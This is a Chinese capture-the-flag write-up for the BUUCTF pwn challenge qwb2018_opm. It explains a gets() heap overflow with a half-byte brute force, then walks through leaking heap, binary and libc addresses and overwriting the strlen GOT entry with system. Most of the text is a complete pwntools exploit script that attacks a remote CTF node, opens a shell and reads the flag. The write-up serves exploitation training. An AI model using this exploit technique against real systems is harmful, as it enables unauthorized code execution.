[BUUCTF-pwn] qwb2018_opm

我讨厌爆破

只有add没有free,但是add中用了gets,很明显是字符串溢出。但是这个溢出不大好利用,因为后边带个固定的\0结尾。

这样就需要堆块建在一个特殊位置0xXXXXX00XX这时候可以通过溢出控制最后一字节而不影响前边数据。由于堆块都是以000结尾,所以需要爆破半个字节。

思路:

  1. 先建几个块使一个块建在00XX的位置(建两个0x70后第3个块正好建在0030+0060,正常是建到?0XX的位置,前边那个0是爆破得到的)
  2. 再建块时先溢出到v6,将其指向前一个块的数据块(0060)这时会将堆指针写到这里,然后第2次溢出将v6覆盖为前一个块的管理块(0030),当调用sub_B30(v6)时将打印出堆地址。在这里用个标记,当标记不正确时raise个例外。
  3. 有堆地址以后,建次建块时先写入一个指向管理块的指针(管理块开始是sub_B30函数指针)再将这个块当作管理块打印出程序加载地址。
  4. 同3的方法,将got地址写入后,当数据块当作管理块,打印出got表里的值得到libc加载地址。
  5. 由于数据块都是由堆建,没有修改功能,利用第2次写时的atoi 将system后4字节作为数字写入,并溢出覆盖到v6将这里写为strlen -24 然后atoi会将数字值写入got.strlen,将其改为system。
  6. 再次写入/bin/sh时调用strlen得到shell
from pwn import *

elf = ELF('./pwn')
context.arch = 'amd64'

def connect():
    global p,libc_elf,one,libc_start_main_ret,local
    
    local = 0
    if local == 1:
        p = process('./pwn')
        libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
        one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
        libc_start_main_ret = 0x21a87
    else:
        p = remote('node4.buuoj.cn', 29475) 
        libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
        one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
        libc_start_main_ret = 0x21b97

menu = b"(E)xit\n"
def add(name, n):
    p.sendlineafter(menu, b'A')
    p.sendlineafter(b"Your name:\n", name)
    p.sendlineafter(b"N punch?\n", n)

def show():
    p.sendlineafter(menu, b'S')

def pwn():
    context.log_level = 'debug'
    #s:128 ptr:8
    add(b'A'*0x70, b'888') #0
    add(b'A'*0x70, b'888') #1
    add(b'A'*0x20, b'888') #2
    add(b'B'*0x70, b'888') #3 0x...0030, 0060
    #0x...?000
    add(b'A'*0x80+ b'\x60', b'1'.ljust(0x80, b'\x00') + b'\x30') #4
    p.recvuntil(b'<')
    if p.recv(8) != b'B'*8:
        raise Exception('retry')
    
    heap_addr1 = u64(p.recv(6).ljust(8, b'\x00'))
    print(hex(heap_addr1))
    heap_addr2 = heap_addr1 - 0x2b0 #chunk0.pre_size
    func_addr  = heap_addr2 + 0x10  #chunk0.func_b30
    ptr5_addr  = heap_addr1 + 0xc0  #chunk5.data
    print(hex(heap_addr1), hex(func_addr), hex(ptr5_addr))

    add(b'A'*8 + p64(func_addr), b'888'.ljust(0x80, b'\x00')+ p64(ptr5_addr)) #5
    p.recvuntil(b'<')
    pwn_base = u64(p.recv(6).ljust(8, b'\x00')) - 0xb30
    elf.address = pwn_base
    print('pwn:', hex(pwn_base))

    ptr6_addr   = ptr5_addr + 0x50
    add(b'A'*8 + p64(elf.got['atoi']), b'888'.ljust(0x80, b'\x00')+ p64(ptr6_addr)) #6
    p.recvuntil(b'<')
    libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc_elf.sym['atoi']
    libc_elf.address = libc_base
    print('libc:', hex(libc_base))
    
    #*(_DWORD *)(v3 + 24) = atoi(s);
    add(b'A', str(libc_elf.sym['system'] & 0xffffffff).encode().ljust(0x80, b'\x00') + p64(elf.got['strlen'] - 24))
    
    #gdb.attach(p)
    #pause()
    
    p.sendlineafter(menu, b'A')
    p.sendlineafter(b"Your name:\n", b'/bin/sh')
    
    p.sendline(b'cat /flag')
    p.interactive()

while True:
    try:
        connect()
        pwn()
    except KeyboardInterrupt as e:
        break
    except:
        p.close()
        print('...')

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值